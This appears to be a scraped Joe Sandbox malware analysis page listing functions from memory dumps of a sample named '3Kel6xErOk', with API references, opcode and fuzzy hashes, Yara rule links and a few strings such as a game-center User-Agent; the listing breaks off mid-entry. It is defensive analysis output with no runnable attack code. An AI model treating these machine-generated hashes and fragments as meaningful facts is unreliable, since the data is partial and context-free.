Function 1000AB7D Relevance: 7.6, APIs: 5, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,?,100016A6,?,00000004,10002554), ref: 1000ABAB
_free.LIBCMT ref: 1000ABBE
GetLastError.KERNEL32(?,?,100016A6,?,00000004,10002554), ref: 1000ABC6
SysAllocString.OLEAUT32(00000000), ref: 1000ABE1
_free.LIBCMT ref: 1000ABF2

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: _free$AllocByteCharErrorLastMultiStringWide
String ID:
API String ID: 3133011222-0
Opcode ID: 9964d5a06a0d6337eeb4c780ee75aab134baa56b987d30eeec11bd9552ad4fc1
Instruction ID: d1de8894a8780e0054a3ce0d446c8da7c10fb7330143512198e40d387101a589
Opcode Fuzzy Hash: 9964d5a06a0d6337eeb4c780ee75aab134baa56b987d30eeec11bd9552ad4fc1
Instruction Fuzzy Hash: 1611E977D00219ABF710DFA08C82F9EB765EF592E1F114239FC06B7246E678FA808651

Function 032AAB81 Relevance: 7.6, APIs: 5, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,032A2558,00000001,00000000,00000000,?,?,032A16AA,?,00000004,032A2558), ref: 032AABAF
_free.LIBCMT ref: 032AABC2
GetLastError.KERNEL32(?,?,032A16AA,?,00000004,032A2558), ref: 032AABCA
SysAllocString.OLEAUT32(00000000), ref: 032AABE5
_free.LIBCMT ref: 032AABF6

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: _free$AllocByteCharErrorLastMultiStringWide
String ID:
API String ID: 3133011222-0
Opcode ID: f107383aaf685e7376f7e261de874eec1cef4eb26a884c931bf4a37c31d62274
Instruction ID: eff1245d506459e77a1da6fdd8dadf0eb271a59ef14b0268886b1f7814548dd6
Opcode Fuzzy Hash: f107383aaf685e7376f7e261de874eec1cef4eb26a884c931bf4a37c31d62274
Instruction Fuzzy Hash: C8112C76D207095FEB10EFACCC45BAEF769EF18361F140439E806BB140D678D580C660

Function 004399A5 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004399AC
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 004399D5

Part of subcall function 0041BD90: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0041BDB9

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,0000000C,00429ECF,?,00000010,FFFFFFFF,00000000,?,?,CC27C0CB), ref: 004399E1
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00439A17
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,?,?,?,?,?,CC27C0CB), ref: 00439A24

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ByteCharContainer_base12Container_base12::~_MultiWidestd::_$Base::Concurrency::details::ContextH_prolog3IdentityQueueWork
String ID:
API String ID: 3484664948-0
Opcode ID: 3713a2b480cf5a78710d61600adc6f6f7ecc1fca48a540e4dc52ed0bfaac96c1
Instruction ID: 7749ac532a6f6b1f2f4b2dcaf12f14228b68e4674184e69adc63fa04e040282b
Opcode Fuzzy Hash: 3713a2b480cf5a78710d61600adc6f6f7ecc1fca48a540e4dc52ed0bfaac96c1
Instruction Fuzzy Hash: 9001C8716006156BEB14BB794C46FBFB669DF44314F10061EB515BB2C2CAB8590046E9

Function 00429BF0 Relevance: 7.6, APIs: 5, Instructions: 55fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00429C16
DebugBreak.KERNEL32 ref: 00429C25
GetFileSize.KERNEL32(000000FF,?), ref: 00429C35
ReadFile.KERNEL32(000000FF,00000000,00000000,?,00000000,00000000,?), ref: 00429C6A
CloseHandle.KERNEL32(000000FF), ref: 00429C77

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: File$BreakCloseCreateDebugHandleReadSize
String ID:
API String ID: 475685091-0
Opcode ID: 9434cdb91e6b5dc2fa394732b9cdb320364d0731c6a8b4d97f3fd4f10270ffca
Instruction ID: 3e4ab345a5f798546d6dd2d04879d96c1bab56db249855011da56dc076cffd69
Opcode Fuzzy Hash: 9434cdb91e6b5dc2fa394732b9cdb320364d0731c6a8b4d97f3fd4f10270ffca
Instruction Fuzzy Hash: EF110070E0020AAFDB04DFA4DC55BAEB7B5BB48710F504619F615A7280DB746A41CB95

Function 10010E1E Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 10010E46

Part of subcall function 1000CA1B: __getptd.LIBCMT ref: 1000CA29
Part of subcall function 1000CA1B: __getptd.LIBCMT ref: 1000CA37

__getptd.LIBCMT ref: 10010E50

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__getptd.LIBCMT ref: 10010E5E
__getptd.LIBCMT ref: 10010E6C
__getptd.LIBCMT ref: 10010E77

Part of subcall function 1000CAC0: __CallSettingFrame@12.LIBCMT ref: 1000CB0C

Part of subcall function 10010F44: __getptd.LIBCMT ref: 10010F53
Part of subcall function 10010F44: __getptd.LIBCMT ref: 10010F61

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction ID: 5e55d5e3cdc97a5d851e944c1f85551ef15e2c34282e0f19f6d61ff914aafdfd
Opcode Fuzzy Hash: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction Fuzzy Hash: 1A1119B5D00249DFEF00DFA4D446AEE7BB0FF48354F10806AF814AB252DB78AA519F51

Function 032B0E22 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 032B0E4A

Part of subcall function 032ACA1F: __getptd.LIBCMT ref: 032ACA2D
Part of subcall function 032ACA1F: __getptd.LIBCMT ref: 032ACA3B

__getptd.LIBCMT ref: 032B0E54

Part of subcall function 032AEA0D: __getptd_noexit.LIBCMT ref: 032AEA10
Part of subcall function 032AEA0D: __amsg_exit.LIBCMT ref: 032AEA1D

__getptd.LIBCMT ref: 032B0E62
__getptd.LIBCMT ref: 032B0E70
__getptd.LIBCMT ref: 032B0E7B

Part of subcall function 032ACAC4: __CallSettingFrame@12.LIBCMT ref: 032ACB10

Part of subcall function 032B0F48: __getptd.LIBCMT ref: 032B0F57
Part of subcall function 032B0F48: __getptd.LIBCMT ref: 032B0F65

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction ID: 875ea2351a17303277e891e0093c1a7a3305ef74fe92defb7de9c687dbc40616
Opcode Fuzzy Hash: e040a5a93f23b847dead2cd5b509ea3d04758d06cfb91789651a499ad4ee544a
Instruction Fuzzy Hash: 86111975D10349DFDF00EFA8C844AED7BB1FF08310F118069E814AB251DB789A919F50

Function 1000E8DC Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,1001D2B0,00000008,1000E9E4,00000000,00000000,?,?,1000DDF8,1000B4B7,?,?,1000B064,?,?,1000101C), ref: 1000E8ED
__lock.LIBCMT ref: 1000E921

Part of subcall function 1000F7D2: __mtinitlocknum.LIBCMT ref: 1000F7E8
Part of subcall function 1000F7D2: __amsg_exit.LIBCMT ref: 1000F7F4
Part of subcall function 1000F7D2: RtlEnterCriticalSection.NTDLL(00000000), ref: 1000F7FC

InterlockedIncrement.KERNEL32(?), ref: 1000E92E
__lock.LIBCMT ref: 1000E942
___addlocaleref.LIBCMT ref: 1000E960

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 637971194-0
Opcode ID: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction ID: 916c6ec87c4f8bcbc955037b591a6f753094f0854a764fd24730189219927c90
Opcode Fuzzy Hash: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction Fuzzy Hash: 5401AD75404B40EBF320CF69C84575ABBE0EF00320F10890EE49A97BA1CBB4FA41CB11

Function 032AE8E0 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(100189E4,1001D2B0,00000008,032AE9E8,00000000,00000000,?,?,032ADDFC,032AB4BB,?,?,032AB068,?,?,032A1020), ref: 032AE8F1
__lock.LIBCMT ref: 032AE925

Part of subcall function 032AF7D6: __mtinitlocknum.LIBCMT ref: 032AF7EC
Part of subcall function 032AF7D6: __amsg_exit.LIBCMT ref: 032AF7F8
Part of subcall function 032AF7D6: RtlEnterCriticalSection.NTDLL(00000000), ref: 032AF800

InterlockedIncrement.KERNEL32(?), ref: 032AE932
__lock.LIBCMT ref: 032AE946
___addlocaleref.LIBCMT ref: 032AE964

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 637971194-0
Opcode ID: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction ID: 25fff7f6594af06ab3bb4a7766e6d2dacc4c8b148fbf5b2077acb1663a4dfdc3
Opcode Fuzzy Hash: bc1e6e33b232fb84aee9128c931f2af660bdc20c21fa679934eb184c89e834a6
Instruction Fuzzy Hash: DE015B76414B01ABE720EF69CD44749BBE0FF50320F10890AE49A5B7A0CBB8AA81CB11

Function 00432B51 Relevance: 7.5, APIs: 5, Instructions: 34COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00432B58
new.LIBCMT ref: 00432B6F
std::locale::c_str.LIBCPMTD ref: 00432B80
std::_Locinfo::_Locinfo.LIBCPMTD ref: 00432B89

Part of subcall function 00414DC0: std::_Lockit::_Lockit.LIBCPMT ref: 00414DED
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414DFF
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E0E
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E1D
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E2C
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E3B
Part of subcall function 00414DC0: _Yarn.LIBCPMTD ref: 00414E4A
Part of subcall function 00414DC0: std::bad_exception::bad_exception.LIBCMTD ref: 00414E61
Part of subcall function 00414DC0: __CxxThrowException@8.LIBVCRUNTIME ref: 00414E6F
Part of subcall function 00414DC0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00414E7C

Part of subcall function 00432B0F: __EH_prolog3.LIBCMT ref: 00432B16
Part of subcall function 00432B0F: std::bad_exception::bad_exception.LIBCMTD ref: 00432B23
Part of subcall function 00432B0F: std::_Locinfo::_Getctype.LIBCPMTD ref: 00432B39

std::_Locinfo::~_Locinfo.LIBCPMTD ref: 00432BA7

Part of subcall function 00414EA0: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00414ECA
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414ED8
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EE3
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EEE
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414EF9
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F04
Part of subcall function 00414EA0: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00414F0F
Part of subcall function 00414EA0: std::_Lockit::~_Lockit.LIBCPMT ref: 00414F17

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Container_base12Container_base12::~_Yarn$Locinfo::_$H_prolog3LocinfoLockitstd::bad_exception::bad_exception$Exception@8GetctypeLocinfo::~_Locinfo_ctorLocinfo_dtorLockit::_Lockit::~_Throwstd::locale::c_str
String ID:
API String ID: 2280109469-0
Opcode ID: 543696b0f9aca8c2e9cfe562a88e0fd0f3c76fa5bfb70764d41ec6c3bb271586
Instruction ID: 2519a451d2eb179c13751e6dc0b1d9035fce0ac122a83202d2b3831c18a74f90
Opcode Fuzzy Hash: 543696b0f9aca8c2e9cfe562a88e0fd0f3c76fa5bfb70764d41ec6c3bb271586
Instruction Fuzzy Hash: CFF062749003049ADF00EFA9D441BDEFB64BF84314F60405FB404A7282CBB86A40C788

Function 1000E7E0 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 1000E7EC

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__getptd.LIBCMT ref: 1000E803
__amsg_exit.LIBCMT ref: 1000E811
__lock.LIBCMT ref: 1000E821
__updatetlocinfoEx_nolock.LIBCMT ref: 1000E835

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction ID: c1e581abf6b3aa3cedc770c51710619a043d372c1d0baf30f0e204b42916052b
Opcode Fuzzy Hash: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction Fuzzy Hash: B2F06D36A04790DAF660EBA45806B5E33A0EF407E0F21814AF518B65DBCF24AD419B56

Function 032AE7E4 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 032AE7F0

Part of subcall function 032AEA0D: __getptd_noexit.LIBCMT ref: 032AEA10
Part of subcall function 032AEA0D: __amsg_exit.LIBCMT ref: 032AEA1D

__getptd.LIBCMT ref: 032AE807
__amsg_exit.LIBCMT ref: 032AE815
__lock.LIBCMT ref: 032AE825
__updatetlocinfoEx_nolock.LIBCMT ref: 032AE839

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction ID: df8e99b4b01d18c4597406a2ca3f5196573790ef72b8e6f16ae6f71aa21e7cee
Opcode Fuzzy Hash: 09b6d139129d4c3b12708e604190e4842ab1e85e5585d88a535f2a9c6bdb173d
Instruction Fuzzy Hash: A3F0903A924F119FE660FB6CAD05B4D7791BF00720F164149E411AE2E2CBB898C28E95

Function 0042BB20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

Part of subcall function 00411170: std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 0041117A

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042BBCD

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

Part of subcall function 004339A0: GetModuleFileNameW.KERNEL32(00000000,?,00000208,000000FF,?,0042BBEB), ref: 00433A01

Part of subcall function 00433434: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043345D
Part of subcall function 00433434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 00433469
Part of subcall function 00433434: std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043348D
Part of subcall function 00433434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0043349A

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042BC2B

Part of subcall function 0041BD90: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0041BDB9

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0042BC66

Strings

User-Agent:pca_gamecenter_compatibility , xrefs: 0042BC0B

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::_$Container_base12Container_base12::~_$Base::ByteCharConcurrency::details::ContextIdentityMultiQueueWideWork$FileIterator_baseIterator_base::_ModuleName
String ID: User-Agent:pca_gamecenter_compatibility
API String ID: 4254669752-2147434096
Opcode ID: f1f2b903a281801a7838d5b1ea838c3e05676a1d3e1413f0d002c9f3c111c733
Instruction ID: bf381e04f5f6330db537dd6e367c00a3eae65032034053a1f84b93923f7408bb
Opcode Fuzzy Hash: f1f2b903a281801a7838d5b1ea838c3e05676a1d3e1413f0d002c9f3c111c733
Instruction Fuzzy Hash: 0D515BB0900248DFCB04DFA8D995BDDBBB5EF48318F20415DE505AB392CB35AE46CB94

Function 00431360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00431399
new.LIBCMT ref: 004313D3
IsWindow.USER32(?), ref: 00431463

Strings

about:blank, xrefs: 0043143C

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: CurrentThreadWindow
String ID: about:blank
API String ID: 3525884807-258612819
Opcode ID: f97cdda5660b0de3d877e6e5447d85d21b252a4331752ae603d94dc27195fc29
Instruction ID: de6858f54dbdecb314a2f6f7e3788f4a20f47d07454d06fb3041c59133c6dded
Opcode Fuzzy Hash: f97cdda5660b0de3d877e6e5447d85d21b252a4331752ae603d94dc27195fc29
Instruction Fuzzy Hash: C1312CB0A00209AFDB04DFA9D845BEEB7B5FF48714F10821EE515B7390DB746900CBA9

Function 00442A35 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

std::regex_error::regex_error.LIBCPMT ref: 00442A41
__CxxThrowException@8.LIBVCRUNTIME ref: 00442A4F

Part of subcall function 00447D36: RaiseException.KERNEL32(?,?,?,004429F4,00000000,?,?,?,?,?,?,?,004429F4,00401D7C,006D4464,00401D7C), ref: 00447D95

Strings

h0Em, xrefs: 00442A46

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::regex_error::regex_error
String ID: h0Em
API String ID: 1019185057-1169179589
Opcode ID: 9210eb1357340f214eb2ed36d6c1ef51a9f9595c61507d38eb03cbb2eeb1ecf5
Instruction ID: f4ce4fdec23c184b80a644f4e47e358d41b335c5604ad4e368806769bc42d570
Opcode Fuzzy Hash: 9210eb1357340f214eb2ed36d6c1ef51a9f9595c61507d38eb03cbb2eeb1ecf5
Instruction Fuzzy Hash: 1D11DA31900309ABEF24DF66DD45BAFB7A9EF45714F44442FBC0493281DBB89944C794

Function 00402F80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00403037

Strings

L)n, xrefs: 0040300A
L)n, xrefs: 00403047
L)n, xrefs: 00403014

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Init_thread_footer
String ID: L)n$L)n$L)n
API String ID: 1385522511-3499506146
Opcode ID: 100c5f98e6a86cb3f2e66fbcaa719a8ca09e3b43745f5b8c4b5f271bc9939b20
Instruction ID: df4304805b32653c5f08366887009a1d36333e1754d1441538b5fc8afeb676ca
Opcode Fuzzy Hash: 100c5f98e6a86cb3f2e66fbcaa719a8ca09e3b43745f5b8c4b5f271bc9939b20
Instruction Fuzzy Hash: D92108B0E052868BC700DF56C955B6EBBBAEB01314F11427EE425673C2C7799A04CBA6

Function 0040444A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

